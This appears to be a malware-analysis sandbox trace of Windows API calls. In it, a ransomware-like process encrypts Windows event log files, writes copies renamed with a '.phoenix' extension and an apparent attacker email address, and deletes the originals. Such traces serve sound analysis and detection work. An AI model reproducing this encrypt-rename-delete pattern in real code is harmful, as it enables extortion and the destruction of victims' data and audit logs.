	[0225.563] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0225.565] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0225.565] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.565] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0225.565] CryptDestroyKey (hKey=0x151200) returned 1
	[0225.565] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0225.565] CryptDestroyKey (hKey=0x151440) returned 1
	[0225.565] CloseHandle (hObject=0x2cc) returned 1
	[0225.565] CloseHandle (hObject=0x2e4) returned 1
	[0225.568] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1
	[0225.569] SetEvent (hEvent=0x278) returned 1
	[0225.569] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0225.569] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0225.570] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0225.570] CloseHandle (hObject=0x2e4) returned 1
	[0225.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20
	[0225.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.571] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0225.571] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.571] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.571] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0225.571] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0225.572] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.572] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.582] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0225.582] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0225.584] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0225.584] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.584] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0225.584] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0225.584] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0225.585] CryptDestroyKey (hKey=0x151440) returned 1
	[0225.585] CloseHandle (hObject=0x2e4) returned 1
	[0225.585] CloseHandle (hObject=0x2cc) returned 1
	[0225.610] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1
	[0225.612] SetEvent (hEvent=0x278) returned 1
	[0225.612] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0225.612] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0225.613] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0225.613] CloseHandle (hObject=0x2cc) returned 1
	[0225.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20
	[0225.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.613] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0225.613] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.613] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.613] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.614] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0225.614] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.614] ReadFile (in: hFile=0x2cc, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.642] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0225.642] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0225.645] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1510c0) returned 1
	[0225.645] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.645] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0225.645] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0225.645] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0225.645] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0225.645] CloseHandle (hObject=0x2cc) returned 1
	[0225.645] CloseHandle (hObject=0x2c0) returned 1
	[0225.648] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1
	[0225.650] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0225.650] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.655] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0225.655] CloseHandle (hObject=0x2c0) returned 1
	[0225.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20
	[0225.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.655] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.655] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.655] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.656] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0225.656] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0225.656] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.656] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.683] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0225.683] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0225.685] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0225.685] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.685] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0225.685] CryptDestroyKey (hKey=0x151580) returned 1
	[0225.685] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0225.685] CryptDestroyKey (hKey=0x151380) returned 1
	[0225.685] CloseHandle (hObject=0x2c0) returned 1
	[0225.686] CloseHandle (hObject=0x2cc) returned 1
	[0225.690] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1
	[0225.706] SetEvent (hEvent=0x278) returned 1
	[0225.707] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0225.707] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0225.877] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0225.877] CloseHandle (hObject=0x2d8) returned 1
	[0225.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20
	[0225.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.877] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0225.877] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.877] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.877] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0225.877] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0225.878] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.878] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.980] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0225.980] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0225.982] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0225.982] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.982] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0225.982] CryptDestroyKey (hKey=0x151700) returned 1
	[0225.982] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0225.982] CryptDestroyKey (hKey=0x151040) returned 1
	[0225.982] CloseHandle (hObject=0x2d8) returned 1
	[0225.983] CloseHandle (hObject=0x2f0) returned 1
	[0225.984] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1
	[0225.985] SetEvent (hEvent=0x278) returned 1
	[0225.986] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0225.986] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0225.986] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0225.986] CloseHandle (hObject=0x2f0) returned 1
	[0225.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20
	[0225.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.986] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0225.986] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.986] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0225.986] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0225.994] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0225.994] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0225.994] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0226.022] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0226.023] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0226.025] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0226.025] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0226.025] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0226.025] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0226.025] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0226.025] CryptDestroyKey (hKey=0x151180) returned 1
	[0226.025] CloseHandle (hObject=0x2f0) returned 1
	[0226.025] CloseHandle (hObject=0x2d8) returned 1
	[0226.028] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1
	[0226.029] SetEvent (hEvent=0x278) returned 1
	[0226.029] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0226.029] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0226.030] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0226.030] CloseHandle (hObject=0x2d8) returned 1
	[0226.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20
	[0226.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
